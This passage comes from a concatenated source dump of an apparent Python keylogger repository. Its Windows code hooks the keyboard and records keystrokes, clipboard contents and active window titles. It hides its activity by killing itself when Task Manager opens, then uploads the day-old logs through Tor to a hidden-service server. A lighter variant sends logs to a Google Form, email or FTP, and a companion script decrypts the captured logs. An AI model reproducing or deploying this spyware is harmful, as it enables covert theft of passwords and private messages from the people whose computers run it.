line above). 529 | return pid, p.exe() 530 | except: 531 | continue 532 | return None, None 533 | 534 | 535 | def find_top_windows(wanted_text=None, wanted_class=None, selection_function=None): 536 | """ Find the hwnd of top level windows. 537 | You can identify windows using captions, classes, a custom selection 538 | function, or any combination of these. (Multiple selection criteria are 539 | ANDed. If this isn't what's wanted, use a selection function.) 540 | 541 | Arguments: 542 | wanted_text Text which required windows' captions must contain. 543 | wanted_class Class to which required windows must belong. 544 | selection_function Window selection function. Reference to a function 545 | should be passed here. The function should take hwnd as 546 | an argument, and should return True when passed the 547 | hwnd of a desired window. 548 | 549 | Returns: A list containing the window handles of all top level 550 | windows matching the supplied selection criteria. 551 | 552 | Usage example: optDialogs = find_top_windows(wanted_text="Options") 553 | """ 554 | 555 | def _normalise_text(control_text): 556 | """Remove '&' characters, and lower case. 557 | Useful for matching control text """ 558 | return control_text.lower().replace('&', '') 559 | 560 | def _windowEnumerationHandler(hwnd, resultList): 561 | '''Pass to win32gui.EnumWindows() to generate list of window handle, 562 | window text, window class tuples.''' 563 | resultList.append((hwnd, 564 | win32gui.GetWindowText(hwnd), 565 | win32gui.GetClassName(hwnd))) 566 | results = [] 567 | top_windows = [] 568 | win32gui.EnumWindows(_windowEnumerationHandler, top_windows) 569 | for hwnd, window_text, window_class in top_windows: 570 | if wanted_text and not _normalise_text(wanted_text) in _normalise_text(window_text): 571 | continue 572 | if wanted_class and not window_class == wanted_class: 573 | continue 574 | if selection_function and not selection_function(hwnd): 575 | continue 576 | results.append(hwnd) 577 | return results 578 | 579 | 580 | def open_tor_browser(tor_installation_dir): 581 | user32 = ctypes.WinDLL('user32') 582 | os.startfile(os.path.join(tor_installation_dir, "Start Tor Browser.lnk")) 583 | start_time = time.time() 584 | check_1 = check_2 = False 585 | while time.time() - start_time < 5: 586 | hwnd_1 = find_top_windows(wanted_text="Establishing a Connection", wanted_class='MozillaDialogClass') 587 | hwnd_2 = find_top_windows(wanted_text="About Tor", wanted_class='MozillaWindowClass') 588 | if len(hwnd_1) == 1: 589 | user32.ShowWindow(hwnd_1[0], 0) 590 | check_1 = True 591 | if len(hwnd_2) == 1: 592 | user32.ShowWindow(hwnd_2[0], 0) 593 | check_2 = True 594 | break 595 | if not (check_1 and check_2): 596 | pid, _ = is_program_already_open(program_path='Tor Browser\\Browser\\firefox.exe') 597 | if pid: 598 | os.kill(pid, 9) 599 | 600 | 601 | def get_my_ip(): 602 | server_parser_list = [(r'https://jsonip.com', "r.json()['ip']"), 603 | (r'https://ifconfig.co/json', "r.json()['ip']"), 604 | (r'https://ip.42.pl/raw', "r.text"), 605 | (r'https://httpbin.org/ip', "r.json()['origin'].split(", ")[0]"), 606 | (r'https://api.ipify.org/?format=json', "r.json()['ip']")] 607 | random.shuffle(server_parser_list) 608 | ip = "" 609 | counter = 0 610 | while counter < 5: 611 | try: 612 | r = requests.get(server_parser_list[counter][0]) 613 | if r.status_code == 200: 614 | try: 615 | ip = eval(server_parser_list[counter][1]) 616 | break 617 | except: 618 | pass 619 | except requests.exceptions.ConnectionError: 620 | pass 621 | counter += 1 622 | return ip 623 | 624 | 625 | def find_the_previous_log_and_send(): 626 | if not check_internet(): 627 | return 628 | # Find the old log 629 | found_filenames = [] 630 | delta = 1 631 | while delta <= 366: 632 | previous_date = (date.today() - timedelta(days=delta)).strftime('%Y-%b-%d') 633 | previous_date_hashed = hashlib.md5(bytes(previous_date, 'utf-8')).hexdigest() 634 | if os.path.exists(previous_date_hashed + ".txt"): 635 | found_filenames.append(previous_date_hashed + ".txt") 636 | delta += 1 637 | # check if TOR is opened/installed 638 | open_tor_pid, tor_installation_dir = is_program_already_open(program_path='Tor Browser\\Browser\\firefox.exe') 639 | if not tor_installation_dir: 640 | tor_installation_dir = check_if_tor_browser_is_installed() 641 | # if not tor_installation_dir: 642 | tor_installation_dir = install_tor_browser() # TODO: add indent !!! 643 | if tor_installation_dir: 644 | tor_installation_dir = os.path.split(os.path.split(tor_installation_dir)[0])[0] # cd .. & cd .. 645 | if not tor_installation_dir: 646 | return # ONE DOES NOT SIMPLY USE CLEARNET. 647 | else: # USE DARKNET ONLY 648 | if not open_tor_pid: 649 | open_tor_browser(tor_installation_dir) 650 | for found_filename in found_filenames: 651 | # Now that we found the old log files (found_filename), send them to our server. 652 | ip = get_my_ip() 653 | new_found_filename = str(socket.getfqdn()) + ("_" if ip != "" else "") + ip + "_" + found_filename 654 | os.rename(found_filename, new_found_filename) # rename the file to avoid async errors (if second time) 655 | try: 656 | check_connection_status_code = requests.get(hidden_service_check_connection, 657 | proxies=proxies).status_code 658 | except requests.exceptions.ConnectionError: 659 | os.rename(new_found_filename, found_filename) # rename the file back 660 | return 661 | if check_connection_status_code == 200: # send logs 662 | try: 663 | uploaded_status = requests.post(url_server_upload, 664 | proxies=proxies, 665 | data=open(new_found_filename, "rb").read()).status_code 666 | except requests.exceptions.ConnectionError: 667 | os.rename(new_found_filename, found_filename) # rename the file back 668 | return 669 | if uploaded_status == 200: 670 | os.chmod(new_found_filename, stat.S_IWRITE) 671 | os.remove(new_found_filename) 672 | return 673 | 674 | 675 | def log_local(): 676 | # Local mode 677 | global dir_path, line_buffer, backspace_buffer_len, window_name, time_logged 678 | todays_date = date.today().strftime('%Y-%b-%d') 679 | # md5 only for masking dates - it's easily crackable for us: 680 | todays_date_hashed = hashlib.md5(bytes(todays_date, 'utf-8')).hexdigest() 681 | # We need to check if it is a new day, if so, send the old log to the server. 682 | if not os.path.exists(todays_date_hashed + ".txt"): # a new day, a new life... 683 | # Evaluate find_the_previous_log_and_send asynchronously 684 | thr = threading.Thread(target=find_the_previous_log_and_send, args=(), kwargs={}) 685 | thr.start() 686 | try: 687 | with open(os.path.join(dir_path, todays_date_hashed + ".txt"), "a") as fp: 688 | fp.write(line_buffer) 689 | except: 690 | if mode == "debug": 691 | print(e) 692 | line_buffer, backspace_buffer_len = '', 0 693 | return True 694 | 695 | 696 | def log_debug(): 697 | # Debug mode 698 | global line_buffer, backspace_buffer_len 699 | print(line_buffer) 700 | line_buffer, backspace_buffer_len = '', 0 701 | return True 702 | 703 | 704 | def log_it(): 705 | check_task_managers() 706 | global mode, line_buffer, encryption_on 707 | if encryption_on: 708 | line_buffer = encrypt(line_buffer).decode('utf-8') 709 | if mode == "local": 710 | log_local() 711 | elif mode == 'debug': 712 | log_debug() 713 | return True 714 | 715 | 716 | def check_task_managers(): 717 | if is_program_already_open(program_path='Taskmgr.exe')[0]: 718 | os.kill(os.getpid(), 9) 719 | exit() 720 | elif len(find_top_windows(wanted_text="task manager")) > 0: 721 | os.kill(os.getpid(), 9) 722 | exit() 723 | 724 | 725 | def key_callback(event): 726 | keys_pressed = keyboard.get_hotkey_name() 727 | is_pressed_ctrl = is_pressed('ctrl') 728 | is_pressed_r_ctrl = is_pressed('right ctrl') 729 | is_pressed_shift = is_pressed('shift') 730 | is_pressed_r_shift = is_pressed('right shift') 731 | 732 | global line_buffer, window_name, time_logged, clipboard_logged, upper_case, capslock_on, shift_on, \ 733 | backspace_buffer_len 734 | 735 | if event.event_type == 'up': 736 | if event.name in ['shift', 'right shift']: # SHIFT UP 737 | shift_on = False 738 | upper_case = update_upper_case() 739 | return True 740 | 741 | window_buffer, time_buffer, clipboard_buffer = '', '', '' 742 | 743 | # 1. Detect the active window change - if so, LOG THE WINDOW NAME 744 | user32 = ctypes.WinDLL('user32', use_last_error=True) 745 | curr_window = user32.GetForegroundWindow() 746 | event_window_name = win32gui.GetWindowText(curr_window) 747 | if window_name != event_window_name: 748 | window_buffer = '\n[WindowName: ' + event_window_name + ']: ' 749 | window_name = event_window_name # set the new value 750 | 751 | # 2. if MINUTES_TO_LOG_TIME minutes has passed - LOG THE TIME 752 | now = datetime.now() 753 | if now - time_logged > timedelta(minutes=MINUTES_TO_LOG_TIME): 754 | time_buffer = '\n[Time: ' + ('%02d:%02d' % (now.hour, now.minute)) + ']: ' 755 | time_logged = now # set the new value 756 | 757 | # 3. if clipboard changed, log it 758 | curr_clipboard = get_clipboard_value() 759 | if curr_clipboard: 760 | if curr_clipboard != clipboard_logged: 761 | clipboard_buffer = '\n[Clipboard: ' + curr_clipboard + ']: ' 762 | clipboard_logged = curr_clipboard # set the new value 763 | 764 | if time_buffer != "" or window_buffer != "" or clipboard_buffer != "": 765 | if line_buffer != "": 766 | log_it() # log anything from old window / times / clipboard 767 | line_buffer = time_buffer + window_buffer + clipboard_buffer # value to begin with 768 | """ backspace_buffer_len = the number of symbols of line_buffer up until the last technical tag (including it) 769 | - window name, time or key tags (, etc.). 770 | len(line_buffer) - backspace_buffer_len = the number of symbols that we can safely backspace. 771 | we increment backspace_buffer_len variable only when we append technical stuff 772 | (time_buffer or window_buffer or ): """ 773 | backspace_buffer_len = len(line_buffer) 774 | 775 | key_pressed = '' 776 | 777 | # 3. DETERMINE THE KEY_PRESSED GIVEN THE EVENT 778 | if event.name in ['left', 'right']: # arrow keys # 'home', 'end', 'up', 'down' 779 | key_pressed_list = list() 780 | if is_pressed_ctrl or is_pressed_r_ctrl: 781 | key_pressed_list.append('ctrl') 782 | if is_pressed_shift or is_pressed_r_shift: 783 | key_pressed_list.append('shift') 784 | key_pressed = '<' + '+'.join(key_pressed_list) + ( 785 | '+' if len(key_pressed_list) > 0 else '') + event.name + '>' 786 | line_buffer += key_pressed 787 | backspace_buffer_len = len(line_buffer) 788 | elif event.name in ['ctrl', 'alt', 'delete']: 789 | if keys_pressed == 'ctrl+alt+delete': 790 | os.kill(os.getpid(), 9) 791 | exit() 792 | elif event.name == 'space': 793 | key_pressed = ' ' 794 | elif event.name in ['enter', 'tab']: 795 | key_pressed = '' if event.name == 'tab' else '' 796 | line_buffer += key_pressed 797 | backspace_buffer_len = len(line_buffer) 798 | log_it() # pass event to other handlers 799 | return True 800 | elif event.name == 'backspace': 801 | if len(line_buffer) - backspace_buffer_len > 0: 802 | line_buffer = line_buffer[:-1] # remove the last character 803 | else: 804 | line_buffer += '' 805 | backspace_buffer_len = len(line_buffer) 806 | elif event.name == 'caps lock': # CAPS LOCK 807 | upper_case = not upper_case 808 | capslock_on = not capslock_on 809 | elif event.name in ['shift', 'right shift']: # SHIFT DOWN 810 | shift_on = True 811 | upper_case = update_upper_case() 812 | else: 813 | key_pressed = event.name 814 | if len(key_pressed) == 1: 815 | # if some normal character 816 | # 3.1. DETERMINE THE SELECTED LANGUAGE AND TRANSLATE THE KEYS IF NEEDED 817 | # There is a keyboard module bug: when we start a program in one layout and then switch to another, 818 | # the layout of hooked input DOES NOT change. So we need a workaround. 819 | language = detect_key_layout() 820 | global latin_into_cyrillic_trantab, cyrillic_layouts 821 | if 'English' in language and 'English' not in initial_language: 822 | # cyrillic -> latin reverse translation is required 823 | if ord(key_pressed) in cyrillic_into_latin_trantab: 824 | key_pressed = chr(cyrillic_into_latin_trantab[ord(key_pressed)]) 825 | elif language in cyrillic_layouts and initial_language not in cyrillic_layouts: 826 | # latin -> cyrillic translation is required 827 | if ord(key_pressed) in latin_into_cyrillic_trantab: 828 | key_pressed = chr(latin_into_cyrillic_trantab[ord(key_pressed)]) 829 | 830 | # apply upper or lower case 831 | key_pressed = key_pressed.upper() if upper_case else key_pressed.lower() 832 | else: 833 | # unknown character (eg arrow key, shift, ctrl, alt) 834 | return True # pass event to other handlers 835 | 836 | # 4. APPEND THE PRESSED KEY TO THE LINE_BUFFER 837 | line_buffer += key_pressed 838 | 839 | # 5. DECIDE ON WHETHER TO LOG CURRENT line_buffer OR NOT: 840 | if len(line_buffer) >= CHAR_LIMIT: 841 | log_it() 842 | return True # pass event to other handlers 843 | 844 | 845 | def main(): 846 | # KEYLOGGER STARTS 847 | if not os.name == "nt": 848 | return # TODO: Linux, MacOS 849 | check_task_managers() 850 | keyboard.hook(key_callback) 851 | keyboard.wait() 852 | return 853 | 854 | 855 | if __name__ == '__main__': 856 | main() 857 | -------------------------------------------------------------------------------- /icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secureyourself7/python-keylogger/563a93019b4cc5dbee04a1d9f1465a8faddb091a/icon.ico -------------------------------------------------------------------------------- /log_decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os # for handling paths 5 | import sys # for getting sys.argv and reading multiple line user input 6 | import time 7 | import tkinter as tk 8 | from tkinter.filedialog import askopenfilename 9 | from Cryptodome.PublicKey import RSA 10 | from Cryptodome.Cipher import PKCS1_OAEP 11 | from Cryptodome.Hash import SHA3_512 12 | import base64 13 | import getpass # for securely entering a user's pass phrase to access the private key 14 | 15 | # - GLOBAL SCOPE VARIABLES start - 16 | 17 | module_path = os.path.abspath(__file__) 18 | dir_path = os.path.dirname(module_path) 19 | 20 | # - GLOBAL SCOPE VARIABLES end - 21 | 22 | 23 | def decrypt(encrypted_blob, private_key, passphrase=None): 24 | # Debug only 25 | key = RSA.importKey(private_key, passphrase) 26 | cipher = PKCS1_OAEP.new(key, hashAlgo=SHA3_512) 27 | # Base 64 decode the data 28 | encrypted_blob = base64.b64decode(encrypted_blob) 29 | try: 30 | decrypted_message = cipher.decrypt(encrypted_blob) 31 | except ValueError: 32 | decrypted_message = bytes('\n- Message decryption error -\n', 'utf-8') 33 | del key, cipher # do at least this as soon as possible 34 | return decrypted_message 35 | 36 | 37 | def decrypt_many(encrypted_log, private_key, passphrase=None): 38 | if passphrase == '': 39 | passphrase = None 40 | delimiter = '---END---' 41 | if isinstance(encrypted_log, bytes): 42 | encrypted_log = encrypted_log.decode('utf-8') 43 | # remove the line breaks and ---START--- 44 | encr_log_str2 = encrypted_log.replace('\n', '') 45 | encr_log_str3 = encr_log_str2.replace('---START---', '') 46 | encrypted_split = encr_log_str3.split(delimiter) 47 | # filter the empty elements 48 | encrypted_messages = [k for k in encrypted_split if len(k) > 0] 49 | # decrypt each message 50 | decrypted_blob = '\n'.join([decrypt(bytes(m, 'utf-8'), private_key, passphrase).decode('utf-8') 51 | for m in encrypted_messages]) 52 | return decrypted_blob 53 | 54 | 55 | # CHOOSE AN ENCRYPTED LOG FILE 56 | tk.Tk().withdraw() # we don't want a full GUI, so keep the root window from appearing 57 | encrypted_log_filename = askopenfilename(title="CHOOSE YOUR ENCRYPTED LOG FILE", 58 | filetypes=[("All Files", "*.*")], 59 | initialdir=dir_path, multiple=False) 60 | if encrypted_log_filename == "": 61 | exit() 62 | # CHOOSE A PRIVATE KEY FILE 63 | private_key_filename = askopenfilename(title="CHOOSE YOUR PRIVATE KEY FILE (*.pem)", 64 | filetypes=[("PEM files", "*.pem")], 65 | initialdir=dir_path, multiple=False) 66 | if private_key_filename == "": 67 | exit() 68 | 69 | # decrypt log 70 | with open(encrypted_log_filename, "rb") as f: 71 | encrypted_log_str = f.read() 72 | if os.name == 'nt': 73 | clear = lambda: os.system('cls') # on Windows System 74 | else: 75 | clear = lambda: os.system('clear') # on Linux System 76 | clear() 77 | passphrase = getpass.getpass(prompt='\nEnter your private key passphrase:\n') 78 | with open(private_key_filename, "rb") as f: 79 | private_key = f.read() 80 | print('Decryption started...') 81 | decrypted_log = decrypt_many(encrypted_log_str, private_key, passphrase) 82 | del private_key 83 | 84 | # save decrypted log: 85 | new_filename = ".".join(encrypted_log_filename.split(".")[:-1]) + "_decrypted.txt" 86 | with open(new_filename, "w") as f: 87 | f.write(decrypted_log) 88 | del decrypted_log 89 | 90 | erase = input('Finished! Saved to ' + new_filename + '. \nClear the console output? (y / n)') 91 | if erase.lower() == 'y': 92 | clear() 93 | print('cleared') 94 | time.sleep(5) 95 | -------------------------------------------------------------------------------- /logger - light.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from winreg import OpenKey, SetValueEx, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ 4 | import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard 5 | import os # for handling paths and removing files (FTP mode) 6 | import sys # for getting sys.argv 7 | import win32event, \ 8 | win32api, winerror # for disallowing multiple instances 9 | import win32console # for getting the console window 10 | import win32gui # for getting window titles and hiding the console window 11 | import ctypes # for getting window titles, current keyboard layout and capslock state 12 | import threading, smtplib # for emailing logs 13 | import ftplib # for sending logs via FTP 14 | import urllib # for accessing Google Forms 15 | import datetime # for getting the current time and using timedelta 16 | import base64 17 | import hashlib # for hashing the names of files 18 | 19 | # CONSTANTS 20 | # this number of characters must be typed for the logger to write the line_buffer: 21 | CHAR_LIMIT = 20 # a safe margin 22 | MINUTES_TO_LOG_TIME = 5 # this number of minutes must pass for the current time to be logged. 23 | 24 | # - GLOBAL SCOPE VARIABLES start - 25 | # general check 26 | if len(sys.argv) == 1: 27 | sys.argv = [sys.argv[0], 'local'] 28 | mode = sys.argv[1] 29 | 30 | line_buffer, window_name = '', '' 31 | time_logged = datetime.datetime.now() - datetime.timedelta(minutes=MINUTES_TO_LOG_TIME) 32 | count, backspace_buffer_len = 0, 0 33 | 34 | # Languages codes, taken from http://atpad.sourceforge.net/languages-ids.txt 35 | lcid_dict = {'0x436': 'Afrikaans - South Africa', '0x041c': 'Albanian - Albania', '0x045e': 'Amharic - Ethiopia', 36 | '0x401': 'Arabic - Saudi Arabia', '0x1401': 'Arabic - Algeria', '0x3c01': 'Arabic - Bahrain', 37 | '0x0c01': 'Arabic - Egypt', '0x801': 'Arabic - Iraq', '0x2c01': 'Arabic - Jordan', 38 | '0x3401': 'Arabic - Kuwait', '0x3001': 'Arabic - Lebanon', '0x1001': 'Arabic - Libya', 39 | '0x1801': 'Arabic - Morocco', '0x2001': 'Arabic - Oman', '0x4001': 'Arabic - Qatar', 40 | '0x2801': 'Arabic - Syria', '0x1c01': 'Arabic - Tunisia', '0x3801': 'Arabic - U.A.E.', 41 | '0x2401': 'Arabic - Yemen', '0x042b': 'Armenian - Armenia', '0x044d': 'Assamese', 42 | '0x082c': 'Azeri (Cyrillic)', '0x042c': 'Azeri (Latin)', '0x042d': 'Basque', '0x423': 'Belarusian', 43 | '0x445': 'Bengali (India)', '0x845': 'Bengali (Bangladesh)', '0x141A': 'Bosnian (Bosnia/Herzegovina)', 44 | '0x402': 'Bulgarian', '0x455': 'Burmese', '0x403': 'Catalan', '0x045c': 'Cherokee - United States', 45 | '0x804': "Chinese - People's Republic of China", '0x1004': 'Chinese - Singapore', 46 | '0x404': 'Chinese - Taiwan', '0x0c04': 'Chinese - Hong Kong SAR', '0x1404': 'Chinese - Macao SAR', 47 | '0x041a': 'Croatian', '0x101a': 'Croatian (Bosnia/Herzegovina)', '0x405': 'Czech', '0x406': 'Danish', 48 | '0x465': 'Divehi', '0x413': 'Dutch - Netherlands', '0x813': 'Dutch - Belgium', '0x466': 'Edo', 49 | '0x409': 'English - United States', '0x809': 'English - United Kingdom', '0x0c09': 'English - Australia', 50 | '0x2809': 'English - Belize', '0x1009': 'English - Canada', '0x2409': 'English - Caribbean', 51 | '0x3c09': 'English - Hong Kong SAR', '0x4009': 'English - India', '0x3809': 'English - Indonesia', 52 | '0x1809': 'English - Ireland', '0x2009': 'English - Jamaica', '0x4409': 'English - Malaysia', 53 | '0x1409': 'English - New Zealand', '0x3409': 'English - Philippines', '0x4809': 'English - Singapore', 54 | '0x1c09': 'English - South Africa', '0x2c09': 'English - Trinidad', '0x3009': 'English - Zimbabwe', 55 | '0x425': 'Estonian', '0x438': 'Faroese', '0x429': 'Farsi', '0x464': 'Filipino', '0x040b': 'Finnish', 56 | '0x040c': 'French - France', '0x080c': 'French - Belgium', '0x2c0c': 'French - Cameroon', 57 | '0x0c0c': 'French - Canada', '0x240c': 'French - Democratic Rep. of Congo', '0x300c': 58 | "French - Cote d'Ivoire", '0x3c0c': 'French - Haiti', '0x140c': 'French - Luxembourg', 59 | '0x340c': 'French - Mali', '0x180c': 'French - Monaco', '0x380c': 'French - Morocco', 60 | '0xe40c': 'French - North Africa', '0x200c': 'French - Reunion', '0x280c': 'French - Senegal', 61 | '0x100c': 'French - Switzerland', '0x1c0c': 'French - West Indies', '0x462': 'Frisian - Netherlands', 62 | '0x467': 'Fulfulde - Nigeria', '0x042f': 'FYRO Macedonian', '0x083c': 'Gaelic (Ireland)', 63 | '0x043c': 'Gaelic (Scotland)', '0x456': 'Galician', '0x437': 'Georgian', '0x407': 'German - Germany', 64 | '0x0c07': 'German - Austria', '0x1407': 'German - Liechtenstein', '0x1007': 'German - Luxembourg', 65 | '0x807': 'German - Switzerland', '0x408': 'Greek', '0x474': 'Guarani - Paraguay', '0x447': 'Gujarati', 66 | '0x468': 'Hausa - Nigeria', '0x475': 'Hawaiian - United States', '0x040d': 'Hebrew', '0x439': 'Hindi', 67 | '0x040e': 'Hungarian', '0x469': 'Ibibio - Nigeria', '0x040f': 'Icelandic', '0x470': 'Igbo - Nigeria', 68 | '0x421': 'Indonesian', '0x045d': 'Inuktitut', '0x410': 'Italian - Italy', 69 | '0x810': 'Italian - Switzerland', '0x411': 'Japanese', '0x044b': 'Kannada', '0x471': 'Kanuri - Nigeria', 70 | '0x860': 'Kashmiri', '0x460': 'Kashmiri (Arabic)', '0x043f': 'Kazakh', '0x453': 'Khmer', 71 | '0x457': 'Konkani', '0x412': 'Korean', '0x440': 'Kyrgyz (Cyrillic)', '0x454': 'Lao', '0x476': 'Latin', 72 | '0x426': 'Latvian', '0x427': 'Lithuanian', '0x043e': 'Malay - Malaysia', 73 | '0x083e': 'Malay - Brunei Darussalam', '0x044c': 'Malayalam', '0x043a': 'Maltese', '0x458': 'Manipuri', 74 | '0x481': 'Maori - New Zealand', '0x044e': 'Marathi', '0x450': 'Mongolian (Cyrillic)', 75 | '0x850': 'Mongolian (Mongolian)', '0x461': 'Nepali', '0x861': 'Nepali - India', 76 | '0x414': 'Norwegian (Bokmål)', '0x814': 'Norwegian (Nynorsk)', '0x448': 'Oriya', '0x472': 'Oromo', 77 | '0x479': 'Papiamentu', '0x463': 'Pashto', '0x415': 'Polish', '0x416': 'Portuguese - Brazil', 78 | '0x816': 'Portuguese - Portugal', '0x446': 'Punjabi', '0x846': 'Punjabi (Pakistan)', 79 | '0x046B': 'Quecha - Bolivia', '0x086B': 'Quecha - Ecuador', '0x0C6B': 'Quecha - Peru', 80 | '0x417': 'Rhaeto-Romanic', '0x418': 'Romanian', '0x818': 'Romanian - Moldava', '0x419': 'Russian', 81 | '0x819': 'Russian - Moldava', '0x043b': 'Sami (Lappish)', '0x044f': 'Sanskrit', '0x046c': 'Sepedi', 82 | '0x0c1a': 'Serbian (Cyrillic)', '0x081a': 'Serbian (Latin)', '0x459': 'Sindhi - India', 83 | '0x859': 'Sindhi - Pakistan', '0x045b': 'Sinhalese - Sri Lanka', '0x041b': 'Slovak', 84 | '0x424': 'Slovenian', '0x477': 'Somali', '0x042e': 'Sorbian', '0x0c0a': 'Spanish - Spain (Modern Sort)', 85 | '0x040a': 'Spanish - Spain (Traditional Sort)', '0x2c0a': 'Spanish - Argentina', 86 | '0x400a': 'Spanish - Bolivia', '0x340a': 'Spanish - Chile', '0x240a': 'Spanish - Colombia', 87 | '0x140a': 'Spanish - Costa Rica', '0x1c0a': 'Spanish - Dominican Republic', 88 | '0x300a': 'Spanish - Ecuador', '0x440a': 'Spanish - El Salvador', '0x100a': 'Spanish - Guatemala', 89 | '0x480a': 'Spanish - Honduras', '0xe40a': 'Spanish - Latin America', '0x080a': 'Spanish - Mexico', 90 | '0x4c0a': 'Spanish - Nicaragua', '0x180a': 'Spanish - Panama', '0x3c0a': 'Spanish - Paraguay', 91 | '0x280a': 'Spanish - Peru', '0x500a': 'Spanish - Puerto Rico', '0x540a': 'Spanish - United States', 92 | '0x380a': 'Spanish - Uruguay', '0x200a': 'Spanish - Venezuela', '0x430': 'Sutu', '0x441': 'Swahili', 93 | '0x041d': 'Swedish', '0x081d': 'Swedish - Finland', '0x045a': 'Syriac', '0x428': 'Tajik', 94 | '0x045f': 'Tamazight (Arabic)', '0x085f': 'Tamazight (Latin)', '0x449': 'Tamil', '0x444': 'Tatar', 95 | '0x044a': 'Telugu', '0x041e': 'Thai', '0x851': 'Tibetan - Bhutan', 96 | '0x451': "Tibetan - People's Republic of China", '0x873': 'Tigrigna - Eritrea', 97 | '0x473': 'Tigrigna - Ethiopia', '0x431': 'Tsonga', '0x432': 'Tswana', '0x041f': 'Turkish', 98 | '0x442': 'Turkmen', '0x480': 'Uighur - China', '0x422': 'Ukrainian', '0x420': 'Urdu', 99 | '0x820': 'Urdu - India', '0x843': 'Uzbek (Cyrillic)', '0x443': 'Uzbek (Latin)', '0x433': 'Venda', 100 | '0x042a': 'Vietnamese', '0x452': 'Welsh', '0x434': 'Xhosa', '0x478': 'Yi', '0x043d': 'Yiddish', 101 | '0x046a': 'Yoruba', '0x435': 'Zulu', '0x04ff': 'HID (Human Interface Device)'} 102 | 103 | latin_into_cyrillic = (u"`QWERTYUIOP[]ASDFGHJKL;'ZXCVBNM,./" + 104 | u"qwertyuiop[]asdfghjkl;'zxcvbnm,./" + 105 | u"~`{[}]:;\"'|<,>.?/@#$^&", 106 | u"ёЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ." + 107 | u"йцукенгшщзхъфывапролджэячсмитьбю." + 108 | u"ЁёХхЪъЖжЭэ/БбЮю,.\"№;:?") # LATIN - CYRILLIC keyboard mapping 109 | cyrillic_into_latin = (latin_into_cyrillic[1], latin_into_cyrillic[0]) # CYRILLIC - LATIN keyboard mapping 110 | 111 | latin_into_cyrillic_trantab = dict([(ord(a), ord(b)) for (a, b) in zip(*latin_into_cyrillic)]) 112 | cyrillic_into_latin_trantab = dict([(ord(a), ord(b)) for (a, b) in zip(*cyrillic_into_latin)]) 113 | 114 | cyrillic_layouts = ['Russian', 'Russian - Moldava', 'Azeri (Cyrillic)', 'Belarusian', 'Kazakh', 115 | 'Kyrgyz (Cyrillic)', 'Mongolian (Cyrillic)', 'Tajik', 'Tatar', 'Serbian (Cyrillic)', 116 | 'Ukrainian', 'Uzbek (Cyrillic)'] 117 | 118 | full_path = os.path.dirname(os.path.realpath(sys.argv[0])) 119 | 120 | # Determine the initial keyboard layout - to fix the keyboard module bug. 121 | 122 | 123 | def detect_key_layout(): 124 | global lcid_dict 125 | user32 = ctypes.WinDLL('user32', use_last_error=True) 126 | curr_window = user32.GetForegroundWindow() 127 | thread_id = user32.GetWindowThreadProcessId(curr_window, 0) 128 | klid = user32.GetKeyboardLayout(thread_id) 129 | # made up of 0xAAABBBB, AAA = HKL (handle object) & BBBB = language ID 130 | # Language ID -> low 10 bits, Sub-language ID -> high 6 bits 131 | # Extract language ID from KLID 132 | lid = klid & (2 ** 16 - 1) 133 | # Convert language ID from decimal to hexadecimal 134 | lid_hex = hex(lid) 135 | try: 136 | language = lcid_dict[str(lid_hex)] 137 | except KeyError: 138 | language = lcid_dict['0x409'] # English - United States 139 | return language 140 | 141 | 142 | initial_language = detect_key_layout() 143 | 144 | # - GLOBAL SCOPE VARIABLES end - 145 | 146 | # Disallowing multiple instances 147 | mutex = win32event.CreateMutex(None, 1, 'mutex_var_qpgy') 148 | if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: 149 | mutex = None 150 | print("Multiple instance not allowed") 151 | exit(0) 152 | 153 | 154 | def get_capslock_state(): 155 | # using the answer here https://stackoverflow.com/a/21160382 156 | import ctypes 157 | hll_dll = ctypes.WinDLL("User32.dll") 158 | vk = 0x14 159 | return True if hll_dll.GetKeyState(vk) == 1 else False 160 | 161 | 162 | shift_on = False # an assumption, GetKeyState doesn't work 163 | capslock_on = get_capslock_state() 164 | 165 | 166 | def update_upper_case(): 167 | global capslock_on, shift_on 168 | if (capslock_on and not shift_on) or (not capslock_on and shift_on): 169 | res = True 170 | else: 171 | res = False 172 | return res 173 | 174 | 175 | upper_case = update_upper_case() 176 | 177 | 178 | def log_local(): 179 | # Local mode 180 | global full_path, line_buffer, backspace_buffer_len, window_name, time_logged 181 | todays_date = datetime.datetime.now().strftime('%Y-%b-%d') 182 | # md5 only for masking dates - it's easily crackable: 183 | todays_date_hashed = hashlib.md5(bytes(todays_date, 'utf-8')).hexdigest() 184 | try: 185 | with open(os.path.join(full_path, todays_date_hashed + ".txt"), "a") as fp: 186 | fp.write(line_buffer) 187 | except: 188 | # if there's a problem with a file size: rename the old one, and continue as normal 189 | counter = 0 190 | while os.path.exists(os.path.join(full_path, todays_date_hashed + "_" + str(counter) + ".txt")): 191 | counter += 1 192 | try: 193 | os.rename(os.path.join(full_path, todays_date_hashed + ".txt"), 194 | os.path.join(full_path, todays_date_hashed + "_" + str(counter) + ".txt")) 195 | window_name = '' 196 | time_logged = datetime.datetime.now() - datetime.timedelta(minutes=MINUTES_TO_LOG_TIME) 197 | except Exception as e: 198 | print(e) 199 | line_buffer, backspace_buffer_len = '', 0 200 | return True 201 | 202 | 203 | def log_remote(): 204 | # Remote mode - Google Form logs post 205 | global line_buffer, backspace_buffer_len 206 | url = "https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # Specify Google Form URL here 207 | klog = {'entry.xxxxxxxxxxx': line_buffer} # Specify the Field Name here 208 | try: 209 | dataenc = urllib.parse.urlencode(klog) 210 | req = urllib.Request(url, dataenc) 211 | response = urllib.request.urlopen(req) 212 | line_buffer, backspace_buffer_len = '', 0 213 | except Exception as e: 214 | print(e) 215 | return True 216 | 217 | 218 | class TimerClass(threading.Thread): 219 | # Email mode 220 | def __init__(self): 221 | threading.Thread.__init__(self) 222 | self.event = threading.Event() 223 | 224 | def run(self): 225 | while not self.event.is_set(): 226 | global line_buffer, backspace_buffer_len 227 | ts = datetime.datetime.now() 228 | SERVER = "smtp.gmail.com" # Specify Server Here 229 | PORT = 587 # Specify Port Here 230 | USER = 